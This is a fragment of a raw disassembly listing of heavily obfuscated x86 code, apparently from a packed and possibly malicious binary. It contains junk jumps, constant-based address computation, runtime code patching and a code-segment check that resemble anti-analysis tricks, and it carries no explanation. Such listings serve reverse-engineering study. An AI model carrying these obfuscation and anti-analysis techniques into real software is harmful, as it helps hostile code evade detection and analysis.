; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41072F	proc near		; CODE XREF: sub_407982p
		xchg	ebp, [esp+0]
		mov	ebp, [esp+0]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		push	offset loc_40E779
		jmp	nullsub_154
sub_41072F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_410744:				; CODE XREF: sub_4108AF-AC58j
		jbe	loc_40B0DE
		not	eax
		adc	edx, 0D0BA41F1h
		jmp	loc_40A364
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AD3


loc_410757:				; CODE XREF: sub_407AD3+10j
		jnz	loc_40EAD3
		jmp	loc_40C995
; END OF FUNCTION CHUNK	FOR sub_407AD3
; ---------------------------------------------------------------------------
		xchg	edx, [esp]
		mov	ecx, edx
		pop	edx
		call	sub_40EA39
; START	OF FUNCTION CHUNK FOR sub_40A050


loc_41076D:				; CODE XREF: sub_407DD5+1j
					; sub_40A050:loc_410DFBj
		mov	ebp, esp
		xchg	ecx, esi


loc_410771:				; CODE XREF: _837l4vi2:0040505Cj
		call	sub_40E4F1
; END OF FUNCTION CHUNK	FOR sub_40A050
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_410776:				; CODE XREF: sub_40C1F0-3F18j
		jmp	loc_40FBBF
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408736


loc_41077B:				; CODE XREF: sub_408736:loc_40EF67j
		pop	ebp
		jmp	loc_410A34
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------


loc_410781:				; CODE XREF: _837l4vi2:0041053Fj
		shr	eax, 16h
		mov	ebx, eax


loc_410786:				; CODE XREF: _837l4vi2:loc_407ACDj
		call	sub_407902


loc_41078B:				; CODE XREF: _837l4vi2:004080DAj
		jmp	loc_4106BA
; ---------------------------------------------------------------------------


loc_410790:				; DATA XREF: sub_40833D:loc_40C884o
		cmp	dword ptr [ebp-4], 1
		jnz	loc_40EAD3
		push	6116FFABh
		pop	eax
		jmp	loc_408431
; ---------------------------------------------------------------------------
		or	edx, 0DA9B4C82h
		pop	ecx
		jmp	sub_40A050
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4087FF


loc_4107B2:				; CODE XREF: sub_4087FF+7B58j
		jmp	loc_40C6AE
; END OF FUNCTION CHUNK	FOR sub_4087FF
; ---------------------------------------------------------------------------


loc_4107B7:				; CODE XREF: _837l4vi2:loc_40C6A3j
					; _837l4vi2:0040CACBj
		call	sub_4064CE
		push	ecx
		mov	ecx, [esp+10h]
		mov	dword ptr [ecx], 10001h
		jmp	loc_4104A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_4107CC:				; CODE XREF: sub_40B67D:loc_409844j
		call	sub_40F9ED
		push	edx
		push	18D25EC8h
		xchg	ecx, [esp+0]
		jmp	loc_40F9E8
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------


loc_4107DF:				; CODE XREF: _837l4vi2:0041059Dj
		xor	edi, edx


loc_4107E1:				; CODE XREF: _837l4vi2:loc_40B577j
		call	sub_40B088
		mov	edx, 20413B0Fh
		push	offset loc_409C4B
		jmp	locret_40A387
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA1B


loc_4107F5:				; CODE XREF: sub_40CA1B+5j
		pop	eax
		add	eax, 0DE714EC7h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_405674
		jmp	loc_40BEA0
; END OF FUNCTION CHUNK	FOR sub_40CA1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C255


loc_41080B:				; CODE XREF: sub_40C255+1Dj
		mov	eax, (offset loc_406B8B+1)
		call	sub_40E13A
		lea	eax, [ebp-14h]
		push	eax
		call	sub_407AA4


loc_41081E:				; CODE XREF: sub_40FFAC:loc_40E9AAj
		mov	ds:dword_406B78, eax
		jmp	loc_4081B4
; END OF FUNCTION CHUNK	FOR sub_40C255

; =============== S U B	R O U T	I N E =======================================



sub_410828	proc near		; CODE XREF: _837l4vi2:004085F2j
					; _837l4vi2:loc_40FE66p

; FUNCTION CHUNK AT 004058C9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004062E7 SIZE 00000005 BYTES

		mov	[esp+0], ecx
		pop	ecx
		add	edx, 260DEA3Dh
		call	sub_40E739
		jmp	loc_4062E7
sub_410828	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41083C	proc near		; CODE XREF: _837l4vi2:0040E876j
					; sub_409D6B+4B93p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040C05D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C211 SIZE 00000018 BYTES

		xchg	edi, [esp+0]
		pop	edi


loc_410840:				; CODE XREF: _837l4vi2:0040AE5Cj
		push	ecx
		inc	ds:dword_4109D0
		lea	eax, nullsub_7


loc_41084D:				; CODE XREF: _837l4vi2:loc_40D2D4j
		mov	byte ptr [eax],	0C3h
		jmp	loc_40C05D
sub_41083C	endp

; ---------------------------------------------------------------------------


loc_410855:				; CODE XREF: _837l4vi2:loc_4090EBj
		shl	ecx, 1
		pop	eax
		pop	ecx
		xchg	ecx, [esp]
		push	ecx
		jmp	loc_40F847

; =============== S U B	R O U T	I N E =======================================



sub_410862	proc near		; CODE XREF: sub_40966E+17D8p
					; _837l4vi2:00410280j

; FUNCTION CHUNK AT 004081AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004082F9 SIZE 00000004 BYTES

		mov	[esp+0], edx
		pop	edx
		jz	loc_4082FD
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_40A83D
		jmp	loc_4081AF
sub_410862	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41087A	proc near		; DATA XREF: sub_40C162:loc_40F417o

; FUNCTION CHUNK AT 0040586C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00406189 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004076FD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004090E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409D12 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040A17B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040A8C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A8F3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A9F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C440 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C793 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C82B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040D47D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F8CB SIZE 0000000B BYTES

		jnb	loc_40A17B
		cmp	byte ptr [ebp-5], 0
		jnz	loc_4092D0
		jmp	loc_4076FD
sub_41087A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CF01


loc_41088F:				; CODE XREF: sub_40CF01+1Fj
		add	eax, 0EF0C1B30h
		push	edi
		xchg	edi, eax
		mov	eax, edi
		xchg	edi, [esp+4+var_4]
		push	0CB1F06C9h
		jmp	loc_40B130
; END OF FUNCTION CHUNK	FOR sub_40CF01
; ---------------------------------------------------------------------------


loc_4108A7:				; CODE XREF: _837l4vi2:loc_408DFAj
					; _837l4vi2:0040E823j
		call	sub_4085D7


loc_4108AC:				; CODE XREF: _837l4vi2:00409859j
		ror	ecx, 13h

; =============== S U B	R O U T	I N E =======================================



sub_4108AF	proc near		; CODE XREF: sub_40F5BE-9C8Fp

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004054DD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040553C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00405C55 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004065CD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004068CF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004090D6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00409F66 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040A364 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0040B05A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040B0DE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040B47B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D14B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040D7BE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040DD12 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040E84F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040E9C1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F913 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00410744 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00411018 SIZE 00000011 BYTES

		xchg	ebx, [esp+4+var_4]
		pop	ebx


loc_4108B3:				; CODE XREF: sub_409E44:loc_40E90Dj
		popf
		jmp	loc_40B47B
sub_4108AF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ADCA


loc_4108B9:				; CODE XREF: sub_40ADCA+9j
		pop	ebx
		pop	ebp
		jmp	loc_4059A3
; END OF FUNCTION CHUNK	FOR sub_40ADCA
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_405697

; =============== S U B	R O U T	I N E =======================================



sub_4108C8	proc near		; CODE XREF: _837l4vi2:loc_409C0Bp
					; _837l4vi2:loc_40DB2Fp
		push	edi
		mov	edi, ebp
		push	offset loc_4058A4
		jmp	nullsub_192
sub_4108C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA1B


loc_4108D5:				; CODE XREF: sub_40CA1B:loc_40BEA0j
		jz	sub_40EAE8
		jmp	loc_40E603
; END OF FUNCTION CHUNK	FOR sub_40CA1B
; ---------------------------------------------------------------------------
		mov	edx, 0CB39536Bh
		call	sub_405611


loc_4108EA:				; CODE XREF: _837l4vi2:0040A771j
		jmp	loc_40CA25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4097D5


loc_4108EF:				; CODE XREF: sub_4097D5-10A4j
		jmp	loc_406318
; END OF FUNCTION CHUNK	FOR sub_4097D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40861C


loc_4108F4:				; CODE XREF: sub_40861C+7j
		jmp	loc_40727D
; END OF FUNCTION CHUNK	FOR sub_40861C

; =============== S U B	R O U T	I N E =======================================



sub_4108F9	proc near		; DATA XREF: _837l4vi2:00409BC1o

; FUNCTION CHUNK AT 00405356 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00407D3F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040ABF2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040C34D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040DF67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F269 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040FC5D SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		mov	ebp, eax
		mov	eax, ecx
		jmp	loc_407D3F
sub_4108F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_410905:				; CODE XREF: sub_40D735+1D19j
		push	0EAA5443Ch
		jmp	loc_40E861
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AB24


loc_41090F:				; CODE XREF: sub_40AB24+3j
		push	ecx
		mov	[ebp+var_1], 0
		mov	eax, cs
		xor	al, al
		or	eax, eax
		jnz	loc_40C938
		call	sub_409218
		test	eax, eax
		jmp	loc_40C934
; END OF FUNCTION CHUNK	FOR sub_40AB24
; ---------------------------------------------------------------------------
		test	ebx, 2BF23190h
		jmp	loc_407539
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_410937:				; CODE XREF: sub_40D735-539Aj
		jz	loc_405F17
		jmp	loc_407B2D
; END OF FUNCTION CHUNK	FOR sub_40D735

; =============== S U B	R O U T	I N E =======================================



sub_410942	proc near		; CODE XREF: sub_407AA4+7618p
					; _837l4vi2:00410BB6j

; FUNCTION CHUNK AT 0040930A SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		cmp	ds:dword_406B60, 0
		jnz	loc_405E2C
		call	sub_40610A
		mov	edx, 0E5254649h
		call	sub_40CC4A
		jmp	loc_40930A
sub_410942	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_410967:				; CODE XREF: sub_408A93:loc_405F5Bj
		jnz	loc_40C3FA
		jmp	loc_410116
; END OF FUNCTION CHUNK	FOR sub_408A93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5BE


loc_410972:				; CODE XREF: sub_40C5BE-4394j
		mov	edi, 4F80081Ah
		jo	loc_4074BC
		jmp	loc_407737
; END OF FUNCTION CHUNK	FOR sub_40C5BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D85F


loc_410982:				; CODE XREF: sub_40D85F+Fj
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_40B601
		mov	eax, [ebp+var_C]
		cmp	eax, ds:dword_4109D8
		jz	loc_405746
; END OF FUNCTION CHUNK	FOR sub_40D85F
; START	OF FUNCTION CHUNK FOR sub_409E44


loc_41099A:				; CODE XREF: sub_409E44:loc_40ACECj
		jmp	loc_410F21
; END OF FUNCTION CHUNK	FOR sub_409E44
; ---------------------------------------------------------------------------


loc_41099F:				; CODE XREF: _837l4vi2:0040FC03j
		mov	ecx, [eax]


loc_4109A1:				; CODE XREF: _837l4vi2:loc_40FBF4j
		add	eax, 8D77DD3Bh
		mov	eax, [eax]
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_4109A9:				; CODE XREF: sub_40833D:loc_4056FCj
		call	sub_40B99D
		push	offset loc_40521E
		jmp	nullsub_178
; END OF FUNCTION CHUNK	FOR sub_40833D

; =============== S U B	R O U T	I N E =======================================



sub_4109B8	proc near		; DATA XREF: sub_406CC2o
		mov	[esp+0], eax
		push	offset sub_410E1F
		jmp	nullsub_196
sub_4109B8	endp

; ---------------------------------------------------------------------------


loc_4109C5:				; CODE XREF: _837l4vi2:loc_40E513j
		retn
; ---------------------------------------------------------------------------
word_4109C6	dw 458Bh		; DATA XREF: sub_40926F:loc_40628Ao
		dd 9D04E8E8h, 1A47FFFFh
dword_4109D0	dd 0							; sub_40BF48:loc_40EC81r ...
dword_4109D4	dd 3808B202h	dword_4109D8	dd 664h							; sub_40D0D2+Bw ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4104F4


loc_4109DC:				; CODE XREF: sub_4104F4+12j
		jmp	loc_406A36
; END OF FUNCTION CHUNK	FOR sub_4104F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EB97


loc_4109E1:				; CODE XREF: sub_40EB97-15DFj
		jmp	nullsub_211
; END OF FUNCTION CHUNK	FOR sub_40EB97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407A59


loc_4109E6:				; CODE XREF: sub_407A59+5j
		jmp	loc_40AC02
; END OF FUNCTION CHUNK	FOR sub_407A59
; ---------------------------------------------------------------------------
		db 0C1h
dword_4109EC	dd 6B8h							; sub_409E44+4AD2r ...
dword_4109F0	dd 5DF90736h						; sub_405C5C+9r
; ---------------------------------------------------------------------------
		xor	ebx, esi
		xchg	ebp, ebx
		jmp	sub_410B67
; ---------------------------------------------------------------------------


loc_4109FD:				; CODE XREF: _837l4vi2:00408895j
		push	83FDF948h

; =============== S U B	R O U T	I N E =======================================



sub_410A02	proc near		; CODE XREF: sub_40966E+5515p
		mov	[esp+0], edi
		pop	edi
		cmp	dword ptr [eax-1Ch], 0F6h
		jz	loc_406BAE
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jmp	loc_406BA8
sub_410A02	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410A22	proc near		; CODE XREF: _837l4vi2:00405F4Dj
					; sub_40E277+Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00406C63 SIZE 00000005 BYTES

		mov	[esp+0], ebx
		pop	ebx
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_406C63
sub_410A22	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_409BB9
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_410A34:				; CODE XREF: sub_40A26E:loc_405122j
					; sub_4065B8:loc_4059A3j ...
		jno	loc_40C79E
		call	sub_40BF48
		jmp	loc_408E4C
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4059CF


loc_410A44:				; CODE XREF: sub_4059CF:loc_40FBA4j
		pop	ecx
		sub	ecx, 40B87AD1h
		or	ecx, 0C78E37F6h
		add	ecx, 95FF1CDDh
		popf
		adc	edx, ecx
		pop	ecx
		jmp	loc_40ED67
; END OF FUNCTION CHUNK	FOR sub_4059CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_410A60:				; CODE XREF: sub_40D735:loc_40AECAj
		or	ebx, edx
		cdq
		or	edx, eax
		sub	ebp, ebx
		jmp	loc_407334
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DBC3


loc_410A6C:				; CODE XREF: sub_40DBC3+4j
		cmp	ds:dword_41001C, 0
		jnz	loc_408A6A
		call	nullsub_1
		call	sub_40B088
		mov	edx, 0CF0182F6h
		push	offset sub_408A60
		jmp	loc_40B35D
; END OF FUNCTION CHUNK	FOR sub_40DBC3

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410A92	proc near		; CODE XREF: sub_410B5D:loc_410B62j
		retn
sub_410A92	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_410A93:				; CODE XREF: sub_40C1F0+428Ej
		jmp	loc_40982B
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_410A98:				; CODE XREF: sub_40C3AF+1289j
		jmp	loc_4082AC
; END OF FUNCTION CHUNK	FOR sub_40C3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D74E


loc_410A9D:				; CODE XREF: sub_40D74E-E91j
		jmp	loc_40693D
; END OF FUNCTION CHUNK	FOR sub_40D74E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C8D


loc_410AA2:				; CODE XREF: sub_406C8D+3j
		jmp	sub_40B601
; END OF FUNCTION CHUNK	FOR sub_406C8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_410AA7:				; CODE XREF: _837l4vi2:00408695j
					; sub_407FEA:loc_40A2B6j
		jnz	loc_40A0F7
		jmp	loc_40EC02
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_410AB2:				; CODE XREF: sub_40926F+51BFj
		mov	eax, [eax+24h]
		add	eax, [ebp+var_4]
		xor	edx, edx


loc_410ABA:				; CODE XREF: sub_40926F:loc_4092A7j
		push	edx
		push	eax
		jmp	loc_405525
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_410AC1:				; CODE XREF: sub_40AE2D-1B70j
		call	sub_40BF48
		test	al, al
		jz	loc_40CA03
		jmp	loc_410096
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_410AD3:				; CODE XREF: sub_40601E:loc_40C3F5j
		xor	edx, 9AF5BD75h
		js	loc_40EA75
		mov	edx, edi
		test	edx, eax
		jmp	loc_40F3A2
; END OF FUNCTION CHUNK	FOR sub_40601E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_410AE8:				; CODE XREF: sub_40DF72:loc_40A388j
		add	eax, 753D9A51h
		add	eax, ebp
		add	eax, 1ECC75A8h
		mov	eax, [eax]
		call	sub_40E3C8
		mov	eax, [ebp-30h]
		jmp	loc_40DDB4
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------


loc_410B05:				; CODE XREF: _837l4vi2:0040A62Fj
		shr	ecx, 2
; START	OF FUNCTION CHUNK FOR sub_40CAD0


loc_410B08:				; CODE XREF: sub_40CAD0:loc_40A61Cj
		or	ebx, 0F90F8A2Bh
		cmp	ebx, 0EADD66E2h
		jmp	loc_405629
; END OF FUNCTION CHUNK	FOR sub_40CAD0
; ---------------------------------------------------------------------------


loc_410B19:				; CODE XREF: _837l4vi2:00405014j
		jz	loc_40D708
		jmp	loc_410626
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_410B24:				; CODE XREF: sub_40892F+Ej
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		shr	eax, 1
		cmp	eax, 66h
		jnz	loc_40F885
		mov	eax, [ebp-4]
		cmp	word ptr [eax],	2ECDh
		jz	loc_40F885
		jmp	loc_40EE95
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410D95


loc_410B48:				; CODE XREF: sub_410D95:loc_40F83Aj
		popf
		jmp	loc_40ACD0
; END OF FUNCTION CHUNK	FOR sub_410D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4103D0


loc_410B4E:				; CODE XREF: _837l4vi2:loc_406856j
					; sub_4103D0-9A9Ej
		ror	eax, 0Ah
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4103D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_410B53:				; CODE XREF: sub_40DFF5+3Ej
		jmp	loc_40C9CD
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407DF3


loc_410B58:				; CODE XREF: sub_407DF3:loc_407DFBj
		jmp	nullsub_212
; END OF FUNCTION CHUNK	FOR sub_407DF3

; =============== S U B	R O U T	I N E =======================================



sub_410B5D	proc near		; CODE XREF: sub_40D7F5:loc_4090A7j
					; sub_40C3AF:loc_40FAF2p
		call	sub_406732


loc_410B62:				; CODE XREF: _837l4vi2:00407B54j
		jmp	sub_410A92
sub_410B5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_410B67	proc near		; CODE XREF: sub_40B67D-4453p
					; _837l4vi2:004109F8j
		xchg	edi, [esp+0]
		pop	edi
		push	10h
		push	eax
		push	80FBC35Bh
		pop	eax
		jmp	loc_40CD85
sub_410B67	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D32


loc_410B79:				; CODE XREF: sub_409D32+5593j
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		jmp	loc_410D5D
; END OF FUNCTION CHUNK	FOR sub_409D32
; ---------------------------------------------------------------------------


loc_410B93:				; CODE XREF: _837l4vi2:0040D810j
		ja	loc_40586C
		ror	edi, 1Dh
		pushf
		jmp	loc_40E52A
; ---------------------------------------------------------------------------
		adc	eax, 0D5C5433Fh
		jns	loc_405BFD
		jmp	sub_40939B
; ---------------------------------------------------------------------------
		ror	ecx, 1Bh
		jmp	sub_410942
; ---------------------------------------------------------------------------
		xor	ebp, edi
		jmp	loc_40AC56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E44


loc_410BC2:				; CODE XREF: sub_409E44-36CAj
		adc	ebx, ebp
		js	loc_41058F
		xchg	ebp, [edx]
		cmp	ebx, esi
		jmp	loc_40E90D
; END OF FUNCTION CHUNK	FOR sub_409E44

; =============== S U B	R O U T	I N E =======================================



sub_410BD3	proc near		; CODE XREF: _837l4vi2:00405BFFj
					; sub_40966E+1D9Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00408B07 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004096F9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00409CFB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040AB78 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BE8F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040C2EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C98F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CDD4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D621 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D9F5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0041066A SIZE 00000005 BYTES

		mov	[esp-4+arg_0], eax
		pop	eax
		mov	eax, [eax]
		or	eax, eax
		jz	loc_40860C
		jmp	loc_41066A
sub_410BD3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410BE6	proc near		; DATA XREF: sub_405D8B:loc_40A4AEo
		xchg	edi, [esp+0]
		push	edi
		push	82F5D3E0h
		pop	edi
sub_410BE6	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_409DD8


loc_410BF0:				; CODE XREF: sub_409DD8:loc_408FCEj
		add	edi, 34F6E1B8h
		add	edi, ebp
		jmp	loc_40F32F
; END OF FUNCTION CHUNK	FOR sub_409DD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4103D0


loc_410BFD:				; CODE XREF: sub_4103D0:loc_405024j
		add	esi, 0EC9A67D6h
		mov	[esi], eax
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4103D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_410C07:				; CODE XREF: sub_40E6CD:loc_409CA8j
		push	0CB338B92h
		pop	eax
		add	eax, 350D200Ah
; END OF FUNCTION CHUNK	FOR sub_40E6CD
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_410C13:				; CODE XREF: sub_40E3C8:loc_4087DDj
		mov	eax, [eax]
		jmp	loc_40E63E
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
		and	edx, 483D9927h
		cmp	edx, 0F2E5D42Dh
		jmp	loc_40AB0F
; ---------------------------------------------------------------------------


loc_410C2B:				; DATA XREF: sub_40D1BB+5o
		xor	eax, ecx


loc_410C2D:				; CODE XREF: _837l4vi2:004067B7j
		jnz	loc_40C07B
		jmp	loc_4091F0

; =============== S U B	R O U T	I N E =======================================



sub_410C38	proc near		; CODE XREF: sub_405C17+88A5p
					; _837l4vi2:0040FDC8j
		mov	[esp+0], eax
		pop	eax
		add	edx, 1BABEA3Ch
		call	sub_40E739
		push	eax
		rol	eax, 8
		mov	ds:dword_4065A0, eax
		retn
sub_410C38	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D0D2


loc_410C52:				; CODE XREF: sub_40D0D2+1Ej
		jmp	loc_407EAD
; END OF FUNCTION CHUNK	FOR sub_40D0D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_410C57:				; CODE XREF: sub_40601E+2368j
					; sub_40601E:loc_40FD42j
		push	0C947E5EEh
		pop	ecx
		and	ecx, 6E6A7F95h
		add	ecx, 9586E9F7h
		add	ecx, ebp
		add	ecx, 2236B06Dh
		jmp	loc_410CC2
; END OF FUNCTION CHUNK	FOR sub_40601E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_410C76:				; CODE XREF: sub_4078C8:loc_40866Dj
					; sub_40C1F0+295Dj
		cmp	edi, esi


loc_410C78:				; CODE XREF: _837l4vi2:loc_40AE56j
		jmp	loc_40A59D
; END OF FUNCTION CHUNK	FOR sub_4078C8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A24F


loc_410C7E:				; CODE XREF: sub_40A24F+6164j
		jmp	nullsub_179
; END OF FUNCTION CHUNK	FOR sub_40A24F
; ---------------------------------------------------------------------------


loc_410C83:				; CODE XREF: _837l4vi2:0040ED97j
		jmp	loc_408E38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_410C88:				; CODE XREF: sub_40DF72-40FBj
		mov	[ebp-8], eax
		push	400h
		mov	eax, [ebp-8]
		push	eax
		jmp	loc_407B90
